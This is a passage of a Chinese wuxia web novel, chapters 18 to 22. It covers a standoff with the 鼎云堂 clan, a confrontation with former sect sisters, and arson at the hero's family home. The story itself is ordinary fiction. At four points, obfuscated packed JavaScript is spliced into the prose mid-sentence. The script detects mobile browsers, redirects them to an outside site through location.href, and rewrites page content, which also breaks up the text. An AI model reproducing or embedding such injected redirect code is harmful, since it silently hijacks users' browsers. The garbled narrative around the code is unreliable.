“掌门从一开始就没打算要认你,可你不依不饶找上门来,未免事情闹得人尽皆知,总该有个了结。如今你杀了惊风剑的儿子,对外,我们鼎云堂,总得有个交代。”领头人道。 “胡说八道!不是你动的手吗?”段苍云脸色惨白。 “二姑娘说笑了,那把扇子,不是您的东西吗?”领头人冷冷道。 “王八蛋,原来你们都在骗我?”段苍云怒不可遏,“你们……” “现在你该明白了?”凌无非扶着伤口,手支着石台,艰难站直身子,嗤笑说道,“所谓血浓于水,不过是引你入局的借口罢了。” “你……你早就知道是怎么回事?”段苍云眼底泛红,几乎快哭出来。 “我早提醒过你,是你不信。”凌无非说着,眸中浮起一丝狡黠。 说时迟,那时快。凌无非话音刚落,便听得破庙上方传来一声巨响,屋顶被人从外破开一个窟窿,无数碎石破瓦随之纷纷坠地。 众人见状,纷纷退开。唯有凌无非一人神色从容,只缓缓向后挪了两步,站至神龛旁。 沈星遥一手押着段逸朗,纵步落在人丛间。 “这……”领头人惊诧不已,“你是……白天你们不是已经出城了吗?” “演给你们看看,这就当真了?”沈星遥眉梢一扬,轻笑说道。 “你竟敢对公子下手?”领头人又气又惊。 “光让段姑娘看清局势有何用?不如让这位段公子知道自己祖父是个什么货色,也免得咱们将来都过不太平。”沈星遥说着,拍了拍段逸朗肩头,“段公子看了这么久,看明白了吗?” “你们……你们到底在干什么?”段逸朗对那领头人问道,“张盛,你告诉我,这是怎么一回事?” “公子,这……” “既然你不肯说,那就由我来说,”沈星遥道,“段元恒年事已高,唯一的孙子又没什么本事。他的宝贝儿子早年在外,倒是惹了不少风流债,万一留下个有本事的后人,回来到处张扬,搅和得他也坐不稳这鼎云堂的掌门之位,岂不糟糕?与其守株待兔,还不如主动出击,先把人给找到,若愿听从安排,又有能耐继承大业,当然最好不过。可惜这位段姑娘出身不好,天赋同样不佳,让她回来,实在有损鼎云堂门面,偏偏她又不依不饶,非要认祖归宗,如此一来,就只好把知情之人,全都除掉了事。” “张盛,”段逸朗厉声呵斥,“她说的可是真的?” “公子,掌门这么做也是为了你好。”张盛上前一步,道,“还请公子不要插手此事。” “既然我都知道了,又怎么能不管?”段逸朗咬紧牙根,道,“我要见爷爷,当面说清此事。” 张盛为难不已:“公子,请你相信我,此事绝不会连累……” “什么连累不连累?难道要为了这个,与秦掌门也结下梁子吗?更何况,我与凌兄自小便有往来,就算不是情同兄弟,也是朋友……岂能因为这种事……他老人家怎就这么糊涂?” 凌无非听到段逸朗如此说话,不由舒了口气,然而他旧伤未愈,又添了新伤,一时之间体力不支,只觉头晕目眩,不自觉向前栽倒下去。 “无非!”沈星遥快步上前将他搀稳,并喂下随身携带的黑色护心丹。 段苍云瞧见此景,若有所悟:“姓凌的,你先前给我喂的丹药……” “那是救你性命的,”沈星遥道,“万一我没能及时赶回来,你也受了伤,这药会有大用处。” “原来是这样……”段苍云被这突如其来的变故所震,仍旧是一副心不在焉,失神落魄的模样。 “张盛,你还拿刀指着人家干什么?”段逸朗大喝一声。 “公子若是这般执拗,就别怪我等不客气了。”张盛退后一步,抬手示意众人上前,又补充道,“不可伤了公子,至于其他人,一个活口都不要留!” “我看你们谁敢!”段逸朗大怒,高声呵斥道。 “看来你的话也没什么分量,段公子。”沈星遥索性松开凌无非的胳膊,上前扣住段逸朗脖颈,道,“反正我无门无派,就算与人结仇也连累不到旁人,不如就用段公子你做人质,来换我们平安离开,如何?” “沈姑娘,你……”段逸朗不禁蹙眉。 “怎么会这样……”段苍云手足无措,踉跄着退后几步,眼泪不知怎的便掉了下来。 张盛给近旁一名下属使了个眼色。谁知那厮才跨出一步,便被沈星遥劈手夺下佩刀,直接架上段逸朗脖颈。 “还是别白费功夫了,既然都做不了主,还是别擅作主张。”沈星遥道,“免得一会儿真闹出人命,你们一个个的,都担待不起。” 张盛闻言咬牙,却已无可奈何。 不知不觉,月牙已爬上梢头。双方僵持许久,渐渐都开始乏了。凌无非由于伤势太重,只能坐在地上,静静等待,又过了许久,众人终于听到一阵急促的脚步声传来,正是徐菀。 “凌少侠,段堂主请你出去一趟。” “爷爷也来了?”段逸朗一愣,“我也要见他!” “你就不必去了,段公子,”沈星遥道,“我们一共就四个人,还有一位受了伤,鼎云堂派了这么多人来,真要打起来,我们可支撑不住。” 徐菀上前,搀着凌无非走出破庙大门。 就在不远处的一棵老树下,段元恒立在一丛阴影之中,双肩微颓,仿佛一夜之间又老了几岁。 凌无非在他跟前站定,微微摆手示意徐菀退开。 星光照不到段元恒的脸上,凌无非瞧不清他的表情,更猜不到他此刻在想些什么。 “段堂主。”凌无非平静开口。 “不必说了,你到底要如何?”段元恒道。 “段姑娘的事,到此结束,从此分道扬镳,各不追究。”凌无非依旧从容。 “你去过玉峰山。”段元恒沉默许久,忽然开口,“你在找什么?” “找我想知道的答案。”凌无非道。 “有些人可以存在,也可以不存在,不管是苍云还是你。”段元恒道,“同一件事,可以有千百种解释,你告诉朗儿和苍云的,又是哪一种?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150364|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最简单的一种,”凌无非道,“我不想此事闹大。” “那就到此为止吧。”段元恒道,“想来那丫头现在也该清醒了,从哪来的,就回哪去。” “这话你应当亲口对她说。”凌无非道。 段元恒不言,沉默良久,轻拂衣袖,双手负后,从树下的阴影里走了出来,认真看了一眼凌无非,冷哼一声,缓缓点点头道:“你很好。” “多谢夸奖。”凌无非动了动唇角,笑得分外敷衍。 段元恒没有继续理会他,而是径自走进了破庙。 段苍云看见他进门,身形先是一僵,随后便下意识退了几步。 “掌门!”张盛等人连忙退后,转身向他施礼。 沈星遥也松开了钳制着段逸朗的手。 “爷爷!”段逸朗唤了一声。 “沈女侠,你并非鸣风堂门人,又为何要让自己牵扯进来?”段元恒问道。 “受人恩惠,见他有难,当然不能坐视不管。”沈星遥道。 “你要是永远都这么想,总有一天,会惹上大麻烦。”段元恒意味深长道。 “段……段堂主……”段苍云神情落寞,思忖良久,方不安问道,“你还要杀我吗?” “外人,”段元恒道,“你要记住,你永远都只是个外人。” “我现在明白了。”段苍云咬着唇角,道,“我会走的……” “那就永远别到姑苏来。”段元恒说完,一步步走到段逸朗跟前,道,“走吧,跟爷爷回家。” “那他们呢?”段逸朗问道。 “都走吧,走得远远的,别再让我看到。”段元恒道。 “段堂主德高望重,说话自当一言九鼎,今天说过的话,可别后悔。”沈星遥站在原地,冲着祖孙二人背影,朗声说道。 段元恒冷哼一声,以眼神示意张盛等人一道离开。 沈星遥走到门口,向外眺望,直到看不见这一行人的身影,适才松了口气。 段苍云却重重瘫坐下去,望着头顶上方的星空,怅然若失。 “都结束了。”凌无非在徐菀的搀扶下,勉强走回了破庙,在角落里坐下,“从哪儿来的,便回哪儿去吧。” 这话,当然是说给段苍云听的。 沈星遥长叹一声,退回到破庙之内。星光从屋顶巨大的破洞漏下,朦胧的光华落在她皎如白玉的面容之上。她忽觉额头有些湿润,便随手抹了一把。她头一回挟持人质,还撒了大谎,许是由于紧张,额间不知何时渗出了密密麻麻的汗珠,便忙以衣袖擦拭。 恰在此时,凌无非抬眼望她。她两颊隐有红晕,加上本就生得一副好面容,他望着望着,竟有些呆了。 沈星遥擦拭完脸上的汗水,这才注意到凌无非的眼神,于是好奇问他:“怎么了?” “没什么。”凌无非意识到失礼,连忙避开她的目光,心里一阵打鼓,跳得飞快。 “你还走得动吗?”沈星遥看着他被血染红了一半的衣衫,蹙眉问道。 凌无非愣了一会儿,才回过神来,也不知有没有听见她的话,只是避开她的目光,略一颔首:“应无大碍,休养一段时日就好。” “要是有人愿意早点相信我们说的话,哪用得着这么麻烦?”徐菀摇头,话里显然有所指代。 “你这话什么意思?”段苍云霍然起立,快步走到徐菀跟前。 “段姑娘又有何指教?”凌无非见她似欲生事之状,当即扶着墙面,勉励站起身来。 “你……”段苍云迅速打量他一眼,见他半身鲜血,形容狼狈,眼底隐隐流露出疚意,本待伸手搀扶,然而踌躇片刻,却还是缩了回去。 “你可以走了。”凌无非语气寡淡,显然不愿搭理她。 “走就走!”段苍云说完,立刻大步走远。 19. 第十九章 雪山故梦非 段家人的恩恩怨怨,至此便算告一段落。 凌无非因此事又添新伤,经不住颠簸。是以三人离开姑苏后,便在邻近的城镇落脚,等他伤势稍有好转才继续启程,往金陵而去。 这日到了镇江,沈星遥终于收到了沈兰瑛的回信,她站在桥头,将书信展开一看,却蹙起了眉。 徐菀的房里,什么可疑之物也没有,甚至没有任何一件东西指向天玄教或是玉峰山。沈星遥又将书信看了一遍,确信是沈兰瑛的字迹无疑,只方回到客舍,把消息告诉同行的二人,一番商议,只得决定先去金陵,再做打算。 三人收拾好行装,离开客舍。行了半日路,在靠近城门口的一家茶舍暂作歇息。徐菀闻到后巷里飘出的糕饼香味,说是可以备下作为干粮,一溜烟便蹿了去,留下沈星遥与凌无非二人坐在原位等候。 “你不同她去吗?”凌无非问道。 “我总觉得心里不安稳,”沈星遥单手托腮,凝神思索道,“姐姐的信里,似乎有什么暗示……” 沈星遥说着这话,目光不自觉望向城门口。就在这时,两个熟悉的身影,先后映入她眼帘。 那是她的同门师姐妹,个头高而矫健的,叫做朱碧,而她身旁的圆脸少女,则叫做林双双。 “看见那两个人了吗?”沈星遥拉了凌无非一把,向城门方向努努嘴。 “是那两位姑娘?”凌无非不解其意,“你认识?” “帮我拦住她们。”沈星遥说完,立刻起身往卖糕团的巷子里跑去。 朱碧眼尖,远远便瞧见了她,当即高喊一声“沈星遥你给我站住”便立刻朝她奔来。 凌无非虽不明白是怎么一回事,却还是站了起来,快步走到巷口,伸手将当先跑来的朱碧拦住。 “你是谁?”朱碧低吼,“给我让开!” “受人之托,对不住了。”凌无非反手振臂迫得朱碧退后,道,“你不能过去。” “怎么回事?”林双双追了上来,到了二人近前抬眼,刚好对上凌无非的目光,一时之间,竟变得结巴起来,“你……你是谁啊……” 林双双习武不精,又不聪明,从小一门心思都在挤兑沈星遥身上。这丫头没什么见识,又是头一回下山,忽然在如此近的距离之下,与一个男人目光对视,还是个难得一见的俊俏男人,脸立刻便红了。 “麻烦少侠让一让。”朱碧咬紧牙关,连剑带鞘横在跟前,“若还要与我姐妹二人针锋相对,便别怪我得罪了。” “抱歉,只有让路不行。”凌无非道, 他甚至连脚跟都没有挪动一下。 “你……”朱碧怒极,横剑扫出,却被凌无非轻而易举避了过去。 就在这边二人打斗之际,沈星遥也赶到了徐菀身旁,握住了她的手。 “怎么了师姐?”徐菀一愣,“你也要买糕饼?” “我看见了朱碧和林双双,她们与我同在扶摇殿门下,恐怕是追着姐姐送出的信找来的,”沈星遥道,“我不知道事情到了哪个地步,但他们绝不会知道你失忆的事,一会儿打了照面,记得见机行事,不要透露太多。” “都是同门,她们还会害你不成?” “我不担心朱碧,却担心林双双。”沈星遥愁眉不展,“她看不惯我行事作风,传谣倒是一等一的好手,有些事,能不让她知道,便不要说出来。” “这个好办,你告诉我怎么唤人,我一定不会露馅。”徐菀胸有成竹道,“我们不在同一殿中习武,想来平日里也不会走得太近,瞒一时还不难。” “有你这话,我便放心了,跟我来。”沈星遥说着,等徐菀拿到了糕饼,方拉着她往巷口走去。 朱碧本与凌无非还在缠斗之中,她原是担心沈星遥已走远,情急之下才会出手,此刻看到沈星遥拉着徐菀回头,便立刻收回剑势,冲二人大喝一声:“给我站住!” “这是朱碧师姐,”沈星遥小声告诉徐菀,道,“另一个不敢出手的,就是小师妹林双双。” “好。”徐菀点头。 沈星遥放下心来,松开徐菀的手走上前去,低头看了一眼凌无非胸口伤处隐隐渗出的血迹,忙道,“你伤口好像裂开了。” “不打紧。”凌无非见他回头,不禁愣道,“怎么又回来了?” “横竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150365|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲不过。我本来也没想逃。”沈星遥说着,便即转向朱碧,道,“你们怎么知道我在这里?” “师父让我盯着兰瑛,看她如何与你联络。”朱碧说着,不觉多看了一眼徐菀,道,“只是没想到,阿菀同你在一起。” 沈星遥听罢,心中已然有数。 朱碧只是看到沈兰瑛对外有联络,说明她并未见过信上内容,也不知那封书信是徐菀所写。 “那双双呢?”沈星遥瞥了一眼林双双,问道。 “她缠着我,甩不脱。”朱碧道,“师父交代我,只要找到你的下落,就立刻带回去。我没空和双双多做解释,只能带着她一起来。” “是吗,”沈星遥摇头道,“可只有她想让我回去,掌门可不想。” “当年你叛出师门,掌门对你,也算手下留情。”朱碧说道,“回去吧,局面没你想得那么难堪。” “回去?不能参加弟子选拔,师父也没有更多的武功可以教我,方寸大的琼山派,我在那能干什么?成天窝在房里当个废人吗?”沈星遥嗤笑道,“还是这里好,有山有水,有花有鸟。就算同样一事无成,也不用整天只呆在自己房里,对着风雪说话。” “你怎么又是这样?”朱碧只觉气不打一处来,“当年要不是你意气用事,哪能闹到这个地步?输了一场比武而已,你到底想闹成什么样子才能舒心。” “比武有失公允,还不能说了吗?”徐菀忍不住道。 “你看你看,我就说了,不要同她们讲道理。”林双双撇撇嘴道,“每次说起此事事就是这样,我看就是她想赢想疯了。” “我要是真喜欢得胜的滋味,一定每天把你拖出来揍一顿。”沈星遥看了林双双一眼,目光冰冷 “你……”林双双气急,当即就要上前与他理论。可沈星遥只瞪了她一眼,她又不敢吭声了,只好摇着朱碧的手,道,“朱师姐,你看看她?哪值得你这么关心?” 凌无非在一旁看着,只觉胸口伤口裂开的感受越发真切,于是叹了口气道:“我倒是觉得,几位既是同门,也无须针锋相对,或许这其中有些误会,不如找个地方慢慢说吧。” 20. 第二十章 长是为谁忙 “我没问你!”朱碧正在气头上,听见外人插嘴,便如火上浇油,更加气不打一处来,“你又是何人,刚才非得拦着我。” “抱歉,他不认得你们,以为是仇家。”沈星遥道。 凌无非看了她一眼,唇角不觉上扬。 听见凌无非开口,林双双下意识多看了他一眼,随后便拉了一把朱碧,道:“不然……就按这位少侠说的做吧,咱们找个地方坐下来说话?” 于是几人找了一处较为偏僻的茶摊坐下。凌无非虽非琼山派门人,但不涉及门派隐秘,加上他还有伤在身,不便到处走动,便只能坐在一旁听着。 “照理来说,我已非琼山派门人,再回昆仑,也无理可依,”沈星遥道,“所以我不明白,为何师父还要召我回去?” “她想让你留在山上,回到琼山派,旁的也没多说。”朱碧说道,“师父说的话,自有她的道理,你又何必多问?” “既然这样,那就没什么可说的了。”沈星遥道,“我不回去。” “沈星遥!”朱碧赫然起立,“你怎么就这么倔?当年也倔,现在也倔,你已错过了芳姑最后的三年,还要等到谁离你而去,才能知道自己做错了事?” “我做错什么了?”沈星遥语调不卑不亢,“我真是不明白,如今我已是自由身,怎么想要去到哪里,呆在何处,还要听你们的安排?” “沈星遥,你不要这么不知好歹,”林双双道,“我和朱师姐千里迢迢来找你,可不是为了让你在这乱撒闲气的。” “我撒闲气?”沈星遥忍不住发笑,“林双双,我以前怎么没发现,你不管在哪都能这么不着调?几个月没见,指鹿为马的本事,可是一天比一天高,都快超过你的武功了。” “沈星遥!”林双双怒极,脸上红一阵白一阵,“你……你再嘲笑我,我要你好看!” “那你闭嘴啊。”沈星遥道。 林双双急得跺脚:“朱师姐,她……” “朱师姐,话不是像你这么说的。”徐菀正色说道,“说话应当有理有据,不管沈师姐回或不回昆仑山,她都没有任何错。你们循规蹈矩,听顾师叔的话,但这成为不了她也要听话的理由。既然僵持不下,你们应该做的,是回去向顾师叔通禀此事,让她做决定,而不是在此对峙。” “阿菀,这是我们扶摇殿的事,与你无关。”朱碧道。 “可我早就不是琼山派的弟子了。”沈星遥提醒她道。 “你……”朱碧气急,险些一拳砸上桌子,却生生憋了回来。 “我看你们这样吵下去,三天三夜也不会有结果。”凌无非在一旁瞧着,冷不丁冒出话来,“朱姑娘一直坚持让星遥回去,只是因为令师的一句吩咐吗?” “当然。”朱碧说道。 “那么扶摇殿的镇殿使,可否做得了洛掌门的主?”凌无非又问。 “你问这话是什么意思?” “很简单,如果星遥回去,又被掌门赶出来,这该怎么算?” 不等朱碧回答,他又接着发问:“即便没赶出来,勉强让她回去,继续遭受冷遇。她所受的委屈,又由谁来承担?倘若答应了你们,这一次便是她主动回去,等于便承认了当年叛出师门种种,都是她无理取闹,往后她在师门境遇如何,你们又可曾想过?” “掌门不是那么不讲道理之人。”朱碧说道。 “可在她和徐姑娘看来,当年那件事,星遥丝毫没有做错。”凌无非道,“也就是说,就连在你和你这位林师妹的眼里,也认为星遥品性不端,自负任性。你们尚能不远千里而来找她回去,还将她认作同门,那么其他人呢?她们对星遥的看法只会更差,试想一番,一个与世隔绝的门派之内,有这样一个人,几乎所有人都认定她犯过天大的错,还死不悔改,这样的人,继续留在山上,可还有半点尊严?” 听完这话,朱碧顿时哑口无言。 “此事说穿,不过是你担心办事不利,受到责罚,才会如此咄咄逼人。你想成全自己,又有谁来成全她?” 凌无非的话,字字珠玑,说得朱碧毫无还嘴余地。而认真听完这一切的沈星遥,心下一时感怀,向他投来感激的目光。 林双双撇了撇嘴,嗫嚅说道:“听你这么说完,我们都成坏人了,朱师姐她……不是这样的人。” “不必说了,”朱碧站起身道,“如果星遥你真的这么想,我也没什么好说的。但我始终认为,师父之所以会这么做,一定是想保护你。你既然不肯走的话……那就好自为之吧。”言罢,便即转身走出茶摊。 “别啊!朱师姐。”林双双起身追出,拉住朱碧说道,“不如,你们再好好说说吧,万一……万一她想通了呢?” “走吧。”沈星遥心中顾虑被凌无非方才一番话说得清清楚楚,虽怀感激,却也算不上有多么好受。她起身走到茶摊外,远远看着大步走远的朱碧,以及跟在他身后亦步亦趋的林双双,若有所思停下了脚步。 “师姐,你在想什么?”徐菀上前问道。 “我觉得师父突然变得很古怪,”沈星遥看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林双双!”朱碧听罢大怒,喝道,“我竟不知,你是这样想的!” 林双双被她突然抬高的嗓音吓了一跳,下意识向后退了两步,嗫嚅道:“我……我说错什么了吗?” “只因你技不如人,便要将所有本事高于你的通通驱逐是吗?要是人人都如你这么想,琼山派早就完了!” “师姐……师姐你别生气,我不是那个意思……”林双双见朱碧扭头就走,连忙追了上去。 21. 第二十一章 夜久生白露 入夜。 沈星遥一行围坐在树下篝火旁,不远处便是一处荷塘。到了七月,莲花都谢得差不多了,接天的莲叶也渐渐开始枯萎。 “师姐,”徐菀忽然开口问道,“她们就这么回去,要是让人知道我同你在一处,会不会……” “那就看林双双打算怎么胡说八道了。”沈星遥叹道。 “你的那位林师妹,看起来对你成见颇深。”凌无非打趣问道,“她小时候挨过你的揍?” “不记得了,”沈星遥道,“她武功不好,不会主动对人出手。” “难道是记恨你不指点她?”凌无非道。 “朱师姐教过她不止一次,从未起效。”沈星遥说着,思索片刻,忽然睁大双眼,站起身来,一抱拳道,“对啊!我刚才怎么没想到?” “没想到什么?”徐菀两眼茫然。一旁的凌无非也愣了一愣。 “师父应当很清楚,就算是朱师姐和林双双两个人加起来,也不是我的对手,又怎么会只派她们两人来找我?”沈星遥道。 “可能只是想晓之以理,动之以情?”徐菀道。 “不,我从小就是这性子,她也明白的,”沈星遥道,“若是铁了心要押我回去,绝不可能只派她们前来,除非……” “拖延时间?”凌无非顺口一猜。 “有可能,或许师父就在后面。”沈星遥长舒一口气,道,“如此不妙,我得尽快离开这里,不让她们找到。” “可是要去哪呢?”徐菀起身道,“我们两个不论去哪,都只能住客舍,沿途必然有迹可循,她们迟早还是会找到的。” 沈星遥不禁蹙紧了眉。 “如果没记错,适才我并未对她们报过姓名,”凌无非道,“我倒是想到一个去处,可以让你们暂避风头。” “哪儿?”师姐妹二人几乎同时开口问道。 “襄州。”凌无非道,“那里有我父亲留下的老宅,平日只有几个负责打点的老仆役,没有其他人。” “那便多谢了。”沈星遥道。 “不必言谢,”凌无非笑道,“我也正好打算抽空回去一趟,找些东西。” 于是三人连夜启程,避开大路,直奔襄州而去。等朱碧那头沿着足印寻来,已然人去楼空,等到这会儿,朱碧适才后悔没能问清凌无非的身份,以致毫无头绪,只能扑个空。 襄州凌家的老宅虽然多年没有主人家居住,却仍旧有几个忠心耿耿的老仆役留在其中打理。凌无非作为此间的少主人,时常也会从金陵回来探望,在月钱方面也从未亏待过几人。 凌无非口中的那位老管家姓王,在这已住了几十个年头,见少主人归来,立刻迎上前来:“公子不是前些日子还说过,要出远门办事吗?怎么这么快就回来了?” “我带来两位客人,”凌无非伸手指向沈、徐二人,道,“烦请王管家给她们安排两间客房住下。” “我们住一起就好了,不必这么麻烦。”沈星遥道。 “不麻烦不麻烦,既然是公子的朋友,便请进屋说话。”王管家笑脸相迎。 “你们先去吧,”凌无非对沈星遥笑了笑,道,“我去找件东西,一会儿就过来。”言罢,便即绕过三人,穿过侧门走去后院。 他在西侧的藏书阁前停下,正待伸手推门,却忽地一愣。他瞧见门外的锁虽卡在锁孔上,却并未扣紧,似乎已有人打开过。 凌无非微微蹙眉,随即回头对不远处正打扫庭院的小厮问道:“阿良,我不在这儿的时候,这藏书阁有人进去过吗?” “没有啊,”那个叫阿良的小厮摇头道,“王管家交代过,说是您吩咐的,任何人都不要进这藏书阁,咱们就算是打扫,也都只是擦擦门上的灰,从不会进去。” “知道了。”凌无非略一点头,随即拿下门上的锁,推门走进屋内,来到第三排书架正中的位置。 他将手伸到第三层摆放书册的位置,指尖忽然一滞,随即低头仔细查看摆放在这一排的书册名目,忽地促紧眉头,口中小声嘀咕:“难道是我记错了?” 随后,他沿着书架,一排排,一层层翻找起来,终于在角落里找到一本空白标题的书册,拿在手中翻找起来,却发现其中有几页,不知被哪里来的墨迹染黑,什么内容也看不到。 他左手不自觉攥紧了拳,拿着书册的右手,则重重把那本空白标题的书册拍在了书架上。 凌无非隐约嗅到屋内有股怪味,却来不及多想,径自便绕过书架走出藏书阁大门,见阿良正提着扫帚往院门走,便即上前将他唤住,道:“阿良,你等等!” “公子可有吩咐?”阿良回过头来。 “我不在的这些日子可有人来过,或是……你们可有听到过不同寻常的声响?”凌无非问道。 “这……还真没有,要不公子您再去问问别人?”阿良挠头,困惑说道。 “好,你去忙吧。”凌无非只得转身走开。 他来到厢房一头,见王管家正命人打扫,于是上前询问,才知道这会儿沈星遥同徐菀二人还在前厅等候,随即对王管家道: “王叔,一会儿收拾完这里,你帮我办件事。召集所有人询问,看这几日可有谁到过藏书阁附近,可曾听到过什么异常的响动,不论有没有,都派个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150367|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机敏些、身手好些的人去趟姑苏打听,看看鼎云堂那位段堂主最近可有什么不寻常的动向。” “我立刻去办,”王管家见他神色有异,不由问道,“发生什么事了?公子。” “有人偷偷来过这里,还去了藏书阁。”凌无非道,“说起来也不算什么大事,你也不必太过紧张。不过,等我回金陵后,你便立刻带着家里这些人,先搬出去躲一阵子。我担心,有人已经盯上了这里,会对你们不利。” “好,那公子您也多加小心。”王管家郑重点头。 凌无非略一颔首,又交代了些事,方去往前厅,一推开门,便看见那师姐妹二人,一个坐在椅子上,左右打量着屋中陈设,另一个则百般聊赖似的趴在案几上,手指绕着冒着腾腾热气茶碗边缘,一圈又一圈地划着。 “这么快就回来了?”沈星遥见他一副心事重重的模样,不由问道,“发生什么事了吗?” “你好像很不高兴啊?丢东西了?”徐菀也察觉到他神色的异常,便即问道。 “没什么,只是突然发现,这里也不安全了。”凌无非道,“我爹有一本闲来记录风物的手记,放在藏书阁里,之前我只是草草看过,隐约记得,上面有关于玉峰山天玄教旧址那块石碑的记录,刚才本想找出来拿给你们看看,却发现其中有几页已被人涂黑。” “可找出是谁干的了吗?”沈星遥问道,“你还记不记得上面写了些什么?” “我检查过,门锁被人动过,手记摆放的位置也与先前不同,至于是谁动的手脚,便不得而知了,”凌无非正色道,“至于上面的内容,我只记得有个身段窄长,方脸方眼的图腾,还有几行关于天玄教来历的记载,别的便记不清了。” “会不会是很重要的讯息?”徐菀站起身,道。 “本来我以为不重要,可如今看来,是有用的。”凌无非道,“其他东西我都已带去了金陵,那本手记还留在这里,只是因为那是本游记,父亲的东西,能不移动的,我便想着,还是放在原位的好,谁知便出了这样的事。” “那我们是不是应该赶紧走?”徐菀说道,“不是说,这里可能也不安全了吗?” “如今看来,的确如此,只是让你们舟车劳顿,实在惭愧。”凌无非眼睑微垂,暗叹一声,道。 “这没什么,是我们麻烦了你才对。”沈星遥走上前,道,“那么,几时再启程呢?” “快到正午了,用过饭再说吧。”凌无非说着,正待转身,却被沈星遥唤住。 “无非,”沈星遥走到他跟前停下,直视他双目,认真道,“其实,我一直有些话想问你。” 22. 第二十二章 情思暗暗起 她还来不及把话说完,便听到门外传来王管家的声音:“公子,两位姑娘,午膳已经备好,请随我去用饭吧。” “别担心,你想知道的事,我都会告诉你。”凌无非温声说完,便瞧见王管家走了进来。 三人同王管家来到饭厅,用过饭后,已是午时过半。徐菀也拍着嘴巴打起了哈欠。沈星遥见状,正待开口说话,却听得院外传来高呼:“公子!不好了!后院走水了!” 凌无非闻声大惊,连忙循声赶了过去,只见藏书阁的上空火光若隐若现,冒出滚滚浓烟,便忙令院中随从小厮取水救火,王管家也跟着忙碌了起来。 “怎么会这样?”沈星遥追上前来,看着滚滚浓烟,眉头紧锁,不解问道,“你方才不是去过藏书阁吗?倘若有外人在,怎么躲得过你的眼睛?” 凌无非凝神深思,忽地反应过来,一击掌道:“是硫磺!有人在藏书阁里放了火药。” 然而说完这话,转念一想,他却又犹豫了:“可即便提前安置了火药,又是如何引燃的?” “要么便是有内鬼,再要不然,便是机关了。”徐菀猜测道。 “只能是机关,”王管家听见这话,当即发话道,“留在府上的都是早些年就在此的家仆,或是他们的后人,从未招过新人。即便是有什么谋划,也早就该动手了。何况刚才起火时,所有人都在别院听从讯问,藏书阁里,应当没有别人。” “早不来晚不来,偏偏是这时候着火,兴许真是有什么机关。”沈星遥若有所思,“只是不知,此人究竟是想焚烧里边的书卷,还是有害人之心……” “王管家,”凌无非顿感无力,道,“就按我之前说的,你们都搬出去吧,回乡休养也好,遣散也罢,都别留在这了。” “可是公子,为何突然有人要对付我们呢?”王管家不解道。 “因为……”凌无非略一迟疑,半晌,方长出一口气,道,“我想调查父亲的死因。” “那公子先前提到鼎云堂……” “他不久前问过我,是不是去过……”凌无非话到一半,却欲言又止,摇摇头道,“唉,罢了,你便照我说的做吧。” “我来帮你。”沈星遥说着,便从地上捡起一只小厮端来的木盆,正待走去院子角落的水缸舀水,却被凌无非拦下。 “我来吧。”凌无非从她手中拿下木盆,道。 满院的人忙碌了大半日,终于将大火扑灭,再看天色,已是黄昏时分。到了此时,一干人等身上皆裹了一层灰,模样好不狼狈。 凌无非见众人都已倦了,便不动声色,独自走到废墟前,拨开满地残骸翻找,沾得满手炭灰,却一无所获。 “就算真有人在此布置机关,被这场火一烧,也剩不了什么了。”沈星遥走到他身旁蹲下,说道,“今日听你对王管家说的话,你这一趟出门,其实是为了调查你父亲的死?这里发生过什么事吗?” 凌无非看了看她,又回头看了一眼一众东倒西歪躺在地上休息的小厮,叹了口气道:“我父亲凌皓风,江湖人称‘惊风剑’,在我十岁那年,突然失踪,最后找回来的只有一具面目全非的尸首。” 他顿了顿,又道,“没有人知道他是如何死的,随身的佩剑也消失无踪。” “既然佩剑不在,人也面目全非,你们又是如何断定那是他的尸首?”沈星遥问道。 “我同师父查看过那具尸首身上的伤疤,还有手上的茧,应当是他无疑。”凌无非眼睑微垂,黯然说道。 “既是父子,朝夕相对,失踪之前,也该有些预兆才对。”沈星遥问道,“难道在那之前,你都没发现过异常吗?” “我从小便被他送去鸣风堂,跟随师父。出事以后,我也十分懊悔,便一直记挂着此事,这几年有了精力,才着手开始调查。” “那……你娘呢?”沈星遥又问。 “我从记事起,便未见过母亲,”凌无非道,“听我爹说,她原是家中一位婢女,只可惜身子不好,生下我后便故去了。不过……” 